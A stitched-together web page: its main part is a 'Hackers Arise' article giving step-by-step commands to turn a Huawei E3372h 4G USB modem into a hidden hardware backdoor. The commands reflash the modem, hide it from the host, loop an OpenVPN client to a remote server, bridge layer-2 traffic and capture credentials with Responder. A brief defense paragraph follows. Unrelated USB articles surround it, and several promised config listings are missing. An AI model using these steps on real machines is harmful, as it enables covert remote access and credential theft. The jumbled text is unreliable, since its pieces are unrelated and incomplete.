At one point in time, USB drives were all the rage for file transfers. I kept one in my pocket at almost all times and I had several around the house for various purposes. Over time, USB drives quietly stopped being so popular. But I still have uses for them in my homelab, so here are the main reasons why I’ll never throw away old USB drives.

Welcome back, aspiring cyberwarriors!

Previously, we had a few articles showing what crafty hackers can do to attack your system with a USB drive. Today we’ll cover yet another approach they might take, turning a USB modem into a persistence mechanism. As always, we’ll discuss practical ways to protect yourself from it.

When hackers have physical access to a potential victim’s computer, they aren’t limited to one-time actions. With just a few minutes, they can establish a persistent communication channel that continues to function long after they’ve walked away. This can be achieved using a regular USB modem that’s been slightly modified in advance.

Modern 4G USB modems, especially those based on the HiLink architecture, are more powerful than they appear. Although they look like slightly oversized flash drives, they’re small computers running a full operating system. Many of these devices run embedded Linux environments, sometimes alongside other systems such as VxWorks for handling GSM communication. These modems are autonomous. They’re powered directly through USB, they boot within seconds, and they present themselves to the host computer as a network interface.

A popular example is the Huawei E3372h-153. It has strong community support, accepts modified firmware, and includes everything needed to build an independent communication channel. When you connect this thing, it behaves like a virtual Ethernet adapter. To the OS it looks like just another network card. But inside that modem you have a full system capable of running scripts, managing connections, and interacting with the host machine. The computer believes it’s simply using a network interface, while the modem itself can communicate with external infrastructure over the mobile network. Unlike traditional implants, this one doesn’t depend on the victim’s internal network at all.

There are commercially available tools designed for similar purposes (LAN Turtle), but they typically rely on existing network connectivity. They don’t have an independent 4G communication channel.

Implementation

From an engineering perspective, the device is already almost perfect. It draws power directly from USB and uses its own 4G connection, so it will communicate even in isolated environments. 

To unlock its potential, we will need to modify the firmware. After reflashing, the internal operating system will automatically establish a VPN connection to a remote control server using the mobile network.

The first step is gaining access to the modem’s internal system. You can do it using Telnet or ADB:

kali > telnet 192.168.8.1
kali > adb connect 192.168.8.1:5555

Then we need to enable debugging features to configure things:

modem > curl http://192.168.8.1/html/switchDebugMode.html
modem > minicom -D /dev/ttyUSB0

With debug mode enabled, the firmware can be replaced:

modem > at^godload # Enter firmware mode. The modem will reboot
modem > sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.
00_M_AT_05.10_nv.exe

After rebooting, the modem usually presents itself as multiple devices, including a virtual CD-ROM and storage. These features are unnecessary and may reveal the device’s presence, so they should be disabled:

modem > AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 # Disable CD-ROM mode on startup, enable RNDIS/CDC
AT^RESET # Reboot

Next comes a subtle but important adjustment. The DHCP configuration is modified so the modem does not present itself as a gateway. This helps avoid interfering with the host system’s routing behavior and keeps the device less noticeable:

modem > cat <<EE > /data/config
Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EE

The config file will look like this: 

To establish remote control, an OpenVPN client is installed directly on the modem. Precompiled binaries are here.

Here is how:

modem > adb push tun.ko /online/ovpn/
modem > adb push openvpn /online/ovpn/
modem > adb push vds.ovpn /online/ovpn/
modem > cat <<EE > /data/vpn.sh
#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn
--route-noexec; done
EE
modem > chmod 700 /data/vpn.sh

modem > busybox passwd

modem > reboot

The VPN runs in a continuous loop, so even if the connection drops, it won’t be a problem. Finally, autorun scripts and routing rules are configured so that traffic flows correctly between the 4G network and the target machine:

modem > mount -o remount,rw /dev/block/mtdblock16

modem > cat <<EE >> /system/etc/autorun.sh
/data/autorun.sh &
EE

modem > cat <<EE > /data/autorun.sh
#!/system/bin/busybox sh
killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE

modem > chmod 700 /data/autorun.sh

The autorun script should look like this:

At this point, the modem has become a self-contained communication bridge.

Persistence

When deployed, the hardware backdoor does not look impressive. That is its strength. It resembles a slightly larger USB flash drive.

Because the device uses a mobile network, it does not rely on the internal infrastructure of the organization. Even if the local network has no internet access, the modem maintains a stable connection to the outside world.

Hackers can connect to the same VPN server from another device, linking themselves to the compromised machine. The modem forwards traffic in a reverse direction being a gateway into the target system.

L2 Access

This method of persistence provides network access only to the machine the modem is connected to. To make attacking the target system easier, it may be necessary to establish an L2VPN tunnel that is closer to the target. This requires creating another VPN tunnel inside the existing one. If the first VPN is used solely for communication with the device lan_turtle, the second one provides the maximum possible network access to the computer through the USB-emulated network. 

To achieve this, we need to run a few commands inside the USB modem. These commands will create a VPN tunnel and place the newly created virtual interface into a network bridge together with the USB interface. Inside the modem run these commands:

modem > ./openvpn --config l2.ovpn --route-noexec
modem > brctl addif br0 tap1
modem > ifconfig tap1 0

Here is an example of the l2.ovpn file:

The L2VPN interface will have an IP address, which is not actually needed since OpenVPN is already running. It can be reset, after which the interface can simply be added to the bridge. As a result, L2 packets from the compromised machine will flow into the VPN interface. This means the hacker doesn’t just gain logical network access to the target PC, but they will see it as if they were directly plugged into it with a regular Ethernet cable.

On the hacker’s side, it is only necessary to connect to the modem and establish a VPN tunnel, then manually assign it an IP address from the subnet of the victim computer’s network adapter:

kali > sudo openvpn --config lan_turtle.ovpn --route-noexec
kali > sudo ifconfig tap0 192.168.8.200/24

The configuration file for connecting to lan_turtle to establish an L2VPN tunnel is lan_turtle.ovpn and it looks like this:

With this setup, the hacker gains direct access to the internal network. Responder can then be used to capture auth data:

kali > responder -I tap0 -d -w -F

Defense

Although the technique is technically sophisticated, you only need physical USB access. Because of that, defensive strategies are simple.

Organizations should treat USB ports as sensitive interfaces. Restricting unknown devices, disabling USB-based network adapters through system policies, and regularly inspecting machines can help you reduce risk. Just as importantly, physical access must be controlled. Even the most advanced software defenses cannot protect a system if someone is allowed to plug in their own hardware.

Summary

The Huawei E3372h-153 and similar devices can be used for persistence, using their own mobile data connection to maintain remote access independent of the victim’s network. Modified modems can automatically set up VPN tunnels and persistently reconnect, which creates a backdoor into the system even after they leave.

If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.

The post Social Engineering: Modem-Based Persistence in a Compromised Environment first appeared on Hackers Arise.

Hippocrates once said "art is long, life is short." It's a neat old proverb that, like many ancient Latin and Greek isms, has been re-observed and re-proven over and over again throughout history. And although I may not be the first to compare computer engineering to an art, I'm probably the first to use a Hippocrates quote to describe the RS-232 serial port.

Remember when phone chargers were straight up garbage? The Micro-USB standard defined a generation of devices, but it was notorious for both its fragility and its toxic "hey, I just bent your phone's pins, now I'm the only charger that'll ever work with it" attitude.

Although USB-A's color-coded cables and ports may be a nuisance to navigate, there's no replacing this tech, old as it may be. While USB-C is endlessly more convenient, convenience isn't everything, even in 2026.

I'm no stranger to finding weird things for my USB drives to do, such as repurposing them as "rescue drives." But this year, with the RAM shortage spilling over to every area of the PC market, I've found new ways to make good use of just about every piece of tech that I own. From a tiny file server to a retro gaming console, here's what I used my USB flash drives for in 2026.

I remember a time when you'd have to be mad to use a wireless mouse, even if you were only working with spreadsheets or playing Solitaire. Weak signals, low-res optical sensors, and a Wild West of driver and software support made my first wireless mouse experience very frustrating indeed.

Researchers demonstrated SPECTER, a technique that leaks data from compromised air-gapped PCs through USB power controls, phone charging changes and peripherals.

I have a number of Windows computers around my home. Some are media centers, others handle my outdoor cameras and smart home, and some are just for basic office work. I’m also the person in my circle of friends and family who gets the call when there is a technology problem. Basically, this means I’m working on other people’s PCs pretty frequently. I don’t particularly enjoy having to install the same group of apps on every machine I’m working on, especially when the PC isn’t mine. Having portable apps on my thumb drive means I don’t have to.

When creating a peripheral for a mobile phone, an obvious path is to create a companion app with which to talk to it. But as we all know today’s app is tomorrow’s non-functional abandonware, so to give his infrared camera a long life, [Cezar Chirila] made it talk WebUSB to a browser instead.

The hardware is conventional enough, a FLIR sensor talking to an RP2040. There’s very little in the way of supporting circuitry save for a power supply regulator, as so much that might be on a standalone project is already present in the USB host device. Running the thing is as simple as going to a landing page in a browser that supports WebUSB, and using the camera. The whole lot is in a GitHub repository, if you’re interested.

We’re big fans of WebUSB, for exactly the reason it’s been used here. While there are a few browser features which have been deprecated over the years — who remembers the BLINK and MARQUEE HTML tags — it’s likely WebUSB won’t be one of them. This could only be topped by having the microcontroller share a small USB disk with the landing page as an HTML file.

Meanwhile if you’re strapped for cash, there are cheaper thermal cameras out there.

We’ll give you three guesses what the most important bits of silicon in [LouD]’s USBSID-Pico are, and two don’t count. Yes, there’s a Raspberry Pi Pico, and a pair of the unforgettable SID chips from MOS– the sound chip of the C64, the die that launched a thousand chiptunes. Well, unless you build it with a hardware SID replacement, but the goal of this device is to get SIDs hooked up to modern hardware.

To that end, USBSID-Pico can be controlled via USB– obviously– in the form of CDC/WebUSB/WebSerial but also MIDI, and even ASID, which is a specific protocol for streaming SID register data over MIDI. You might be wondering the point, since surely you can get cycle-accurate SID emulation on an RP2040, right? Well, not everyone agrees that cycle-accurate emulation is accurate enough; like the people who swear by the subtle distortions tube amplifiers introduce into the sound, some say the chip’s own inaccuracies give the sound out of the physical device a unique vibe emulators don’t match. That’s a fight for others to litigate; we just appreciate the work that went into getting these old sound chips talking to modern hardware, and getting the project certified as Open Source Hardware.

This combination of old sound and new microcontroller makes the USBSID-Pico a good entry for our ongoing retrocomputing contest, particularly the retro-modern category. Just be aware of PAL and NTSC differences with these old chips, or your beeps and boops might be out of tune. They haven’t made them in decades, but there are more than a few modern replacements for the MOS 6581.

USB-C Power Delivery (PD) has been a boon to anyone working with low-voltage DC power, because at a stroke it replaces a vast array of wall warts, power supplies, and connector standards with one simple and straightforward commoditized system. But with varying capabilities between sources and sinks, it can be difficult to know what’s going on.

[Marco Tabini] has created Dr. PD, a USB -C PD protocol analyzer. It can sit between USB-C PD source and sink, or emulate a sink in order to characterize a source. It supports an impressive range of USB power protocols, and can work up to the full 48 volt/240 watt limits of the technology. The project is open source and is to be the subject of a crowdfunding campaign should you want one without the extra work.

It’s likely that many of you will have had bad experiences with cheap USB-C PD gear failing to follow standards, being unable to handle the specified current, or just plain supplying the wrong voltage. We have, and while USB-C PD is genuinely a great technology, this regrettable hardware represents its grubby underbelly. This is just the project we need on the bench in our hackerspace.

In the past we’ve written about USB-C PD as a great example of new technology done right.